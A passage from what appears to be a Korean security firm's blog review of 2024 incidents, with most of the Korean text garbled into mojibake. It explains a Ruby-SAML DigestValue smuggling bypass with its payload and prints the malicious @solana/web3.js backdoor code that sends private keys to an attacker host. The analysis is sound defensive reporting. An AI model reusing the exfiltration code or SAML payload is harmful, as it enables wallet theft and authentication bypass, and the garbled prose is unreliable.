xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
</saml2:Assertion>
์ Asserition์ theori@theori.io
๊ณ์ ์ ์ฌ์ฉํ๊ณ ์๋ ํด๋ผ์ด์ธํธ๊ฐ https://github.com/orgs/mygithub-orgs
์ ๋ก๊ทธ์ธํ๊ธฐ ์ํด idp๋ก๋ถํฐ ๋ฐ์ SAML Response์ ์ผ๋ถ๋ก, ์ด์ฉ์ ์ธ์ฆ ์ ๋ณด์ ์๋ช
๊ฐ์ ํฌํจํ๊ณ ์์ต๋๋ค.
๋ฌด๊ฒฐ์ฑ์ ๊ฒ์ฆํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๊ฐ์ DigestValue
, SignatureValue
์
๋๋ค. DigestValue
๋ Reference
๋
ธ๋์ ์์์ ํฌํจ๋์ด, ์ธ์ฆ ์ ๋ณด(์: NameID
, Audience
)๋ฅผ sha256 ํด์ฑํ ๊ฐ์ผ๋ก ๊ตฌ์ฑ๋๊ณ , ํด๋น ํ๋๋ค์ ๋ฌด๊ฒฐ์ฑ์ ๋ณด์ฅํฉ๋๋ค. SignatureValue
๋ DigestValue
๋ฅผ ํฌํจํ๋ SignedInfo
๋ฅผ idp์ ๊ฐ์ธํค๋ก ์๋ช
ํ ๊ฐ์ผ๋ก, DigestValue
์ ๋ฌด๊ฒฐ์ฑ์ ๋ณด์ฅํฉ๋๋ค.
Exploit
SAML Response๋ xml์ ๊ธฐ๋ฐ์ผ๋ก ํ๊ธฐ ๋๋ฌธ์, sp์์๋ xml์ ํ์ฑํ๊ณ ํน์ element๋ฅผ ๊ฐ์ ธ์ ๋ฌด๊ฒฐ์ฑ์ ๊ฒ์ฆํ๊ณ , ์ธ์ฆ ์ ๋ณด๋ฅผ ๋ฐ์์ต๋๋ค. ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฆ์ DigestValue
๊ฒ์ฆ ํ Signature ๊ฒ์ฆ์ ์ํํ๋ ๋ฐฉ์์ผ๋ก ์งํ๋ฉ๋๋ค.
Gitlab์์๋ Ruby-SAML
๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํตํด ์ด๋ฅผ ์ํํ์ฌ ํน์ element๋ฅผ ์กฐํ ์ XPath๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ทจ์ฝ์ ์ DigestValue
๋ฅผ ๊ฐ์ ธ์ค๊ธฐ ์ํ XPath Axes์์ ๋ฐ์ํฉ๋๋ค. ์ทจ์ฝ์ ์ด ๋ฐ์ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฒ์ ์ ์๋์ ๊ฐ์ด DigestValue
๋ฅผ ์ถ์ถํฉ๋๋ค.
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
์ ์ฝ๋๋ SAML Response์ DSIG
namespace์์ ์ฒ์์ผ๋ก ๋ํ๋๋ DigestValue
๋ฅผ ์ฐพ๊ณ , ๊ฐ์ ธ์จ DigestValue
์ Assertion ์ ๋ณด์ ํด์๋ ๊ฐ์ ๋น๊ตํ์ฌ ์ธ์ฆ ์ ๋ณด์ ๋ฌด๊ฒฐ์ฑ์ ๊ฒ์ฆํฉ๋๋ค.
ํ์ง๋ง SAML 2.0์์๋ element๋ฅผ validํ namespace์ ๋ฃ์ด์ฃผ๊ธฐ ์ํด ๋์์ธ๋ samlp:Extensions์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด๋ก ์ธํด, ๊ณต๊ฒฉ์๋ Assertion ๋
ธ๋ ์์ ์๋์ ๊ฐ์ element๋ฅผ ์ฝ์
ํจ์ผ๋ก์จ, XPath Axes๋ฅผ ํตํด์ ๊ฐ์ ธ์ค๋ DigestValue
๋ฅผ ์ค๋จธ๊ธ๋ง(smuggling)ํ ์ ์์ต๋๋ค.
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
{์์ ๋ ์ธ์ฆ ์ ๋ณด๋ฅผ ํฌํจํ Assertion์ ํด์ ๊ฐ}
</DigestValue>
</samlp:Extensions>
์ฝ์
๋ DigestValue
๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์์ ํ Assertion ์ ๋ณด์ ๋ํ ํด์๊ฐ์ ๊ฐ๋๋ก ์ค์ ํ ๊ฒฝ์ฐ, sp์์ ๊ฒ์ฆ์ ์ํด ๊ฐ์ ธ์จ DigestValue
๊ฐ ์์์ ์ค๋จธ๊ธ๋งํ DigestValue
๊ฐ ๋์ด Digest ๊ฒ์ฆ ๋ก์ง์ ์ฐํํ ์ ์์ต๋๋ค. ๋ํ, ์ด๋ SignedInfo
์ ํฌํจ๋ DigestValue
๋ ๋ณ๊ฒฝ๋์ง ์๊ธฐ ๋๋ฌธ์ ์๋ช
๊ฐ์ ๋ํ ๊ฒ์ฆ๋ ํจ๊ป ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค.
SAML 2.0์์๋ Assertion์ ๋ํ ์๋ช ์ธ์๋ ์ ์ฒด ๋ฉ์์ง์ ๋ํ ์๋ช ์ ์ํํ์ง๋ง, ์ผ๋ฐ์ ์ผ๋ก Assertion์ ๋ํ ๊ฒ์ฆ์ด ํต๊ณผ๋ ๊ฒฝ์ฐ, ์ ์ฒด ๋ฉ์์ง์ ๋ํ ๊ฒ์ฆ ์คํจ๊ฐ ์ธ์ฆ ์คํจ๋ก ์ด์ด์ง์ง ์์ต๋๋ค.
ํด๋น ์ทจ์ฝ์ ์ ํ์ฌ Ruby-SAML ํ์ ์ํด ํจ์น๋์์ต๋๋ค. ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๋ฒ์ ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๊ณ ์๋ค๋ฉด, ํจ์น ์ดํ์ ๋ฒ์ ์ผ๋ก ์ ๋ฐ์ดํธ ํ๋ ๊ฒ์ด ํ์ํฉ๋๋ค.
Reference
6. @solana/web3.js Backdoor
์ค๋งํธ ์ปจํธ๋ํธ๋ฅผ ์ ๊ณตํ๋ ๋ธ๋ก์ฒด์ธ ํ๋ซํผ Solana๋, ๊ทธ ๊ธฐ๋ฅ์ ์ด์ฉํ ์ ์๋ ๊ณต์ ์๋ฐ์คํฌ๋ฆฝํธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ(@solana/web3.js
)๊ฐ ์ฃผ๊ฐ ์ฝ 50๋งํ ๋ค์ด๋ก๋๋ ์ ๋๋ก ํ๋ฐํ๊ฒ ์ฌ์ฉ๋๊ณ ์์ต๋๋ค.
2024๋
12์ 3์ผ, ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ด๋ฆฌํ๋ ๊ฐ๋ฐ์๊ฐ ์คํผ์ด ํผ์ฑ ๋ฉ์ผ์ ๋ฐ์ ๊ณต๊ฒฉ์์ ์น์ฌ์ดํธ์ ๊ณ์ ์ ๋ณด๋ฅผ ์
๋ ฅํ ๊ฒ์ด ์์ธ์ด ๋์ด @solana/web3.js
๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์
์ฑ์ฝ๋๊ฐ ์ถ๊ฐ๋์์ต๋๋ค. ๊ฐ๋ฐ์์ ๊ณ์ ์ ๋ณด๋ฅผ ํ์ทจํ ๊ณต๊ฒฉ์๋ ์๋์ ๊ฐ์ ์
์ฑ์ฝ๋๋ฅผ ํจํค์ง์ ์ถ๊ฐํด ๋ฐฐํฌํ์ต๋๋ค.
static addToQueue(process) {
const b = bs58__default.default.encode(process);
if (QUEUE.has(b)) return;
QUEUE.add(b);
fetch("https://sol-rpc.xyz/api/rpc/queue", {
method: "POST",
headers: {
"x-amz-cf-id": b.substring(0, 24).split("").reverse().join(""),
"x-session-id": b.substring(32),
"x-amz-cf-pop": b.substring(24, 32).split("").reverse().join("")
}
}).catch(() => {});
}
addToQueue
๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ์๋ ๋ชฉ๋ก์ ์ง๊ฐ ๊ด๋ จ ๋ฉ์๋ ์ฌ์ฉ ์ ํธ์ถ๋๋๋ก ์ถ๊ฐ๋์์ต๋๋ค.
new Account()
Keypair.fromSecretKey()
Keypair.fromSeed()
Ed25519Program.createInstructionWithPrivateKey()
Secp256k1Program.createInstructionWithPrivateKey()
ํด๋น ํจ์๋ ๋น๋ฐํค๋ฅผ ํค๋์ ํฌํจํ์ฌ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก ์ ์กํ๋ ๋์์ ์ํํ์๊ณ , ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ํผํด์์ ์ง๊ฐ์ ํ์ทจํ ์ ์์์ต๋๋ค. ํด๋น ์
์ฑ์ฝ๋์ ์ํฅ์ ๋ฐ์ ์ทจ์ฝํ ๋ฒ์ ์ 1.95.6
, 1.95.7
์ด๋ฉฐ, 6์๊ฐ๋ง์ ๋์ํ์ฌ ์
์ฑ์ฝ๋๋ฅผ ์ญ์ ํ์์์๋ ๋ถ๊ตฌํ๊ณ 16๋ง ๋ฌ๋ฌ(ํํ ์ฝ 2.3์ต)์ ์์ฐ ํ์ทจ๊ฐ ๋ฐ์ํ์ต๋๋ค.
์คํ์์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋์์ผ๋ก ํ ํดํน ๊ณต๊ฒฉ์ ๋น๋ฒํ๊ฒ ์ผ์ด๋๊ณ ์์ต๋๋ค. ์ด์ ํฌ์คํธ์ ์๊ฐํ๋ XZ ๋ฐฑ๋์ด๋ ์ด์ ๋น์ทํ ์ฌ๋ก์์ต๋๋ค.
Reference
https://www.anza.xyz/blog/web3-js-exploit-root-cause-analysis
https://decrypt.co/294742/solana-web3-js-library-compromised-in-targeted-supply-chain-attack
๋ง์น๋ฉฐ
์ด๋ฒ ํฌ์คํ ์์๋ 2024๋ ํ๋ฐ๊ธฐ์ ๋ฐ์ํ ๋ณด์ ์ฌ๊ฑด/์ฌ๊ณ ๋ฅผ ๋ค๋ฃจ์ด ๋ณด์์ต๋๋ค.
์์คํ ์ ๋ณดํธํ๊ณ , ์ต์ข ์ ์ผ๋ก ๋ณด์์ ๋ฌ์ฑํ๊ธฐ ์ํด์๋ ์์ฌ ํ๋ ๋ชจ๋ํฐ๋ง ๋ฐ ์ํํธ์จ์ด ๊ฒ์๋ฟ๋ง ์๋๋ผ, ์ต์ ๋ณด์ ๋ํฅ์ ๋ํ ์ง์์ ์ธ ๊ด์ฌ์ด ํ์ํฉ๋๋ค.
๋ํ ์ฌ๋ฌ ์ฌ๋ก๋ฅผ ํตํด ๋ณผ ์ ์๋ฏ์ด, ํผ์ฑ์ผ๋ก ๋ํ๋๋ ์ฌํ๊ณตํ ๊ณต๊ฒฉ์ ์ฐ๋ฆฌ ์ฃผ๋ณ์์ ๋ค์ํ ๋ฐฉ์์ผ๋ก ๋ฐ์ํ๊ณ ์์ต๋๋ค. ๋ฉ์ผ ๋๋ URL ์ ๊ทผ ์ ๋ฉ์ผ์ ๋ฐ์ ์๋ URL์ ์์ ์๊ฐ ์ ๋ขฐํ ์ ์๋ ๋์์ธ์ง ์ฃผ์ํ๊ณ , ๊ณต์ ๊ฒฝ๋ก๋ฅผ ํตํด ์ ๊ทผํ๋ ๊ฒ์ด ๋งค์ฐ ์ค์ํฉ๋๋ค.
2025๋ ์๋ ํฐ์ค๋ฆฌ Security Assessment ํ์ ๊พธ์คํ ์ฌ๋ก ์กฐ์ฌ์ ๊ธฐ์ ์ฐ๊ตฌ๋ฅผ ํตํด ์ฆ๊ฐ์ ์ธ ์ํ๋ถํฐ ์ ์ฌ์ ์ธ ์ํ๊น์ง ์ ์ ์ ์ผ๋ก ๋์ํด๋๊ฐ ์์ ์ ๋๋ค.
About Theori Security Assessment
ํฐ์ค๋ฆฌ Security Assessment ํ์ ์ค์ ํด์ปค๋ค์ ์คํ์๋ธ ๋ณด์ ๊ฐ์ฌ ์๋น์ค๋ฅผ ํตํด ๊ณ ๊ฐ์ ์๋น์ค์ ์ธํ๋ผ์คํธ๋ญ์ฒ๋ฅผ ์์ ํ๊ฒ ํจ์ผ๋ก์จ ๋น์ฆ๋์ค๋ฅผ ๋ณดํธํฉ๋๋ค. ํนํ, ๋์ฑ ์์ ํ ์ธ์์ ์ํด ๋์ ๊ธ ์ฌ์ด๋ฒ๋ณด์ ๋ฌธ์ ๋ค์ ํด๊ฒฐํ๋ ๊ฒ์ ์ฆ๊ธฐ๋ฉฐ, ์คํ์๋ธ ์ฌ์ด๋ฒ๋ณด์์ ๋ฆฌ๋๋ก์, ๊ณต๊ฒฉ์๋ณด๋ค ํ๋ฐ ์์ ๋์ํ๊ณ ๋ถ๊ฐ๋ฅํ๋ค๊ณ ์ฌ๊ฒจ์ง๋ ๋ฌธ์ ๋ฅผ ๊ธฐ์ ์ค์ฌ์ ์ผ๋ก ํด๊ฒฐํฉ๋๋ค.